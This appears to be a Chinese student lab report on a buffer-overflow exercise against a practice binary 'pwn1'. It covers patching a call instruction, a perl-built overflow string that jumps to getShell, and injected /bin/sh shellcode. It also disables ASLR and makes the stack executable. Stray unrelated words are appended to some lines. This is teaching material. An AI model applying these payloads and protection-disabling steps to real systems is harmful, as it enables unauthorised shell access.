本次實踐的對象是一個名爲pwn1的linux可執行文件。linux
該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。shell
該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。windows
1.手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。sass
2.利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。安全
3.注入一個shellcode並運行這段shellcode。網絡
1.熟悉Linux基本操做。dom
2.理解Bof的原理。函數
3.會使用gdb,vi。學習
4.堆棧結構,返回地址,理解攻擊緩衝區的結果,掌握返回地址的獲取,掌握ELF文件格式,掌握動態技術。ui
機器指令是CPU能直接識別並執行的指令,它的表現形式是二進制編碼。機器指令一般由操做碼和操做數兩部分組成,操做碼指出該指令所要完成的操做,即指令的功能,操做數指出參與運算的對象,以及運算結果所存放的位置等。
JE:條件轉移指令,若是相等則跳轉;
JNE:條件轉移指令(等同於「Jump Not Equal」),若是不相等則跳轉;
JMP:無條件跳轉指令。無條件跳轉指令可轉到內存中任何程序段。轉移地址可在指令中給出,也能夠在寄存器中給出,或在存儲器中指出;
NOP:「空指令」。執行到NOP指令時,CPU什麼也不作,僅僅當作一個指令執行過去並繼續執行NOP後面的一條指令;
CMP:比較指令,功能至關於減法指令,只是對操做數之間運算比較,不保存結果。cmp指令執行後,將對標誌寄存器產生影響。其餘相關指令經過識別這些被影響的標誌寄存器位來得知比較結果。
4、實踐步驟
實踐一 修改程序機器指令,改變程序執行流程
1.下載目標文件pwn1,並將它放進指定的文件夾中,而後用ls命令列出文件pwn1,執行它,
2.使用objdump -d pwn1 | more
將pwn1反彙編,獲得如下代碼
找出核心代碼(getShell,foo,main),以下,
由圖中可見,main函數中在80484b5地址的''call 8048491''這條指令,會調用地址爲8048491的foo函數,而其對應機器指令爲「e8 d7ffffff」,根據foo函數中的指令猜想,e8爲''call''指令,即跳轉指令。按照正常流程,會執行main函數中的下一步,即80484ba地址的指令,此時EIP的值爲80484ba,但此時執行call指令,會跳轉到8048491,CPU就會轉而執行 「EIP + d7ffffff」這個位置的指令。「d7ffffff」是補碼,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491這個值。
那咱們想讓它調用getShell,只要修改 d7ffffff 爲 getShell-80484ba 對應的補碼就行。用Windows計算器,直接 47d-4ba就能獲得補碼,是c3ffffff。
3.修改可執行文件,將其中的call指令的目標地址由d7ffffff變爲c3ffffff
(1) vi pwn1,進入命令模式
(2)輸入:%!xxd,將顯示模式切換爲十六進制
(3) 在底行模式輸入/e8 d7,定位須要修改的地方,並確認
(4) 進入插入模式,修改d7爲c3
(5) 輸入:%!xxd -r,將十六進制轉換爲原格式
(6)使用:wq,保存並退出
4.再反彙編看一下,call指令是否正確調用getShell
5.輸入./pwn1
運行,能夠獲得shell提示符#
實踐二 經過構造輸入參數,形成BOF攻擊,改變程序執行流
1.首先確認輸入字符串哪幾個字符會覆蓋到返回地址
(1)經過構造緩衝區溢出的方法,讓getShell函數的地址剛好溢出到EIP。
同上面的實驗同樣,目標是觸發函數getShell。而後調用以下函數foo,這個函數有Buffer overflow漏洞。因此要將超出部分所形成的溢出字節覆蓋返回地址。
經過輸入不一樣長度的字符串判斷是否覆蓋到返回地址,經屢次嘗試可知輸入28個字符時,會產生溢出。
(嘗試時忘記截圖了·····)
(2)經過gdb命令,調試文件pwn1,並輸入40個字符。
(3)經過info r命令查看當前寄存器狀態,發現EIP寄存器被0x35353535覆蓋,即當前
返回地址爲5555(0x35是ASCII碼,表明十進制中的5),說明剛輸入的40個字符中,含有5的字符串溢出到了EIP中。
(4)爲了驗證咱們的猜想,將「55555555」改成「12345678」,而後再用info r查看是哪幾個數字溢出到EIP。
最終發現「1234」會覆蓋到堆棧上的返回地址,那咱們就須要將這4個字符替換爲getShell的內存地址,就能夠觸發函數getShell了。
2.確認用什麼值來覆蓋返回地址
getShell的內存地址,經過反彙編時能夠看到,即0804847d。
經過實驗指導書的方法試驗發現字節輸入順序應該以下:
11111111222222223333333344444444\x7d\x84\x04\x08。
3.構造輸入字符串
由爲咱們無法經過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值,因此先生成包括這樣字符串的一個文件。\x0a表示回車,若是沒有的話,在程序運行時就須要手工按一下回車鍵。
(1)輸入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input。
(2)輸入xxd input 查看input文件是否符合預期。
(3)而後將input的輸入,經過管道符「|」,做爲pwn1_2的輸入,即輸入 (cat input; cat) | ./pwn1_2 input的輸入。
輸入指令(cat input; cat) | ./pwn1後,發現已得到shell。
實踐三 注入Shellcode並執行
1.準備一段Shellcode
shellcode就是一段機器指令(code)
2.準備工做
(1)安裝好execstack,輸入apt-get install execstack便可安裝。
(2)execstack -s pwn1 //設置堆棧可執行
(3)execstack -q pwn1 //查詢文件的堆棧是否可執行
(4) more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化
(5) echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
(6) more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化
3.注入shellcode
Linux下有兩種基本構造攻擊buf的方法:retaddr+nop+shellcode和nop+shellcode+retaddr。
緩衝區小就用前一種方法,緩衝區大就用後一種方法。這裏,咱們這個buf夠放這個shellcode了,咱們選用前一種方法。
(1)把輸入的字串放入input_shellcode文件裏
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
其中,最後的\x4\x3\x2\x1將覆蓋到堆棧上的返回地址的位置。
注意:最後一個字符不能是\x0a,即回車!
(2)打開一個終端注入這段語句
特別注意:只需按一次回車
(3)打開另外一個終端進行調試
① 使用指令ps -ef | grep pwn1來查看pwn1的進程號。
②輸入指令attach 5959調試這個進程。
③使用指令disassemble foo設置斷點,來查看注入buf的內存地址。
④斷在ret處,這時注入的東西都到堆棧上了。
⑤而後break *0x080484ae,在另一個終端中按下回車。//這就是前面爲何不能以\x0a來結束 input_shellcode的緣由。
⑥使用指令c,繼續運行。
經過 info r esp 查看esp寄存器,找到01020304,即返回地址,shellcode就在該地址以後,所以,如圖,將\x4\x3\x2\x1置爲\x70\xd3\xff\xff便可
最後經過指令發現已經得到Shell
實踐心得:
在此次實踐中,咱們經過三種方法改變了執行文件的執行流程,三種方法,對應着三種不一樣的攻擊思路,分別是:
此次的實踐,讓我感覺到網絡攻防技術的重要性,即便此次的攻擊有一些前提,須要系統存在一些漏洞。而在我看來,漏洞,在大多數電腦中是存在的,也許是操做系統的漏洞,也許是某個軟件的漏洞,而這些漏洞,就是電腦安全保衛線中的一個個缺口,也許這些缺口都不大,可是威力倒是不容小視的,一旦被攻破,也許本身的電腦就會被別人監控,甚至控制。在以後的課堂上,必定要認真聽講,也必定要多作實踐,這樣才能學好網絡對抗,才能保護好本身的電腦。